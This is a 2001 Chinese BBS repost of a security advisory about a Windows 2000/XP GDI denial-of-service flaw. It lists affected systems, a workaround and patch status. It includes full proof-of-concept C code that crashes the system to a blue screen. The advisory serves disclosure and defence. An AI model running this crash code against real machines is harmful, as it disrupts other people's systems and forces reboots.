荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: michaelx (水并不是这样灌的), 信区: Security
标  题: Microsoft Windows 2000/XP GDI 拒绝服务漏洞
发信站: 荔园晨风BBS站 (Sun Nov 18 12:50:32 2001), 转信

◆ Microsoft Windows 2000/XP GDI 拒绝服务漏洞
日期:2001-11-2
     受影响的系统:
Microsoft Windows 2000 SP2
   - Microsoft Windows 2000
Microsoft Windows 2000 SP1
   - Microsoft Windows 2000
Microsoft Windows 2000
Microsoft Windows XP
描述:
----------------------------------------------------------------------------
----
BUGTRAQ ID: 3481
Windows Graphics Device Interface (GDI)是一套应用程序接口,用于显示图形输
出。但是它存在一个安全问题,可能导致系统拒绝服务。
这是由于GDI无法正确处理畸形或无效的参数和标志位造成的,系统表现为蓝屏,只有
重新启动才能恢复正常功能。
<*来源:PeterB (peter@INKVINE.FLUFF.ORG)
  链接:http://www.ntbugtraq.com/default.asp?pid=36&sid=1&A2=ind0110&L=ntbug
traq&F=P&S=&P=8630
*>
测试程序:
----------------------------------------------------------------------------
----
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
PeterB (peter@INKVINE.FLUFF.ORG)提供了如下测试代码:
#include <windows.h>
LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM
lParam)
{
        switch(message)
        {
        case WM_NCCREATE:
                {
                        ShowWindow(hwnd, SW_SHOW);
                }
                return TRUE;
        }
        return DefWindowProc(hwnd, message, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR
szCmdLine, int iCmdShow)
{
        HWINSTA ws = CreateWindowStation(NULL, 0, WINSTA_CREATEDESKTOP |
GENERIC_ALL, NULL);
        SetProcessWindowStation(ws);
        HDESK dt = CreateDesktop("TEST", 0, 0, 0, DESKTOP_CREATEWINDOW |
GENERIC_ALL | DESKTOP_CREATEMENU | DESKTOP_SWITCHDESKTOP |
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS, NULL); // no idea what access I
actually need, I think this is just about everything
        SetThreadDesktop(dt);
        WNDCLASS wndclass = {0};
        wndclass.style = CS_HREDRAW  | CS_VREDRAW;
        wndclass.lpfnWndProc = WndProc;
        wndclass.hInstance = hInstance;
        wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION); // default icon
        wndclass.hCursor = LoadCursor(NULL, IDC_ARROW); // default cursor.
One or other (or both?) of these seem to be necessary.
        wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
        wndclass.lpszMenuName = NULL;
        wndclass.lpszClassName = TEXT("Crash");
        RegisterClass(&wndclass);
        HWND hwnd = CreateWindowEx(WS_EX_TOOLWINDOW, TEXT("Crash"),
TEXT("Crash"), WS_POPUP, 300, 300, 300, 445, NULL, NULL, hInstance, NULL);
        // NEVER GETS HERE.
        ShowWindow(hwnd, iCmdShow);
        UpdateWindow(hwnd);
        MSG msg;
        while(GetMessage(&msg, NULL, 0, 0))
        {
                TranslateMessage(&msg);
                DispatchMessage(&msg);
        }
        return msg.wParam;
}
----------------------------------------------------------------------------
----
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 禁止不可信用户登录您的系统
厂商补丁:
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商
的主页以获取最新版本:
http://www.microsoft.com/

--
M.X的FTP SERVER
ftp://192.168.55.18

※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 203.93.19.1]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店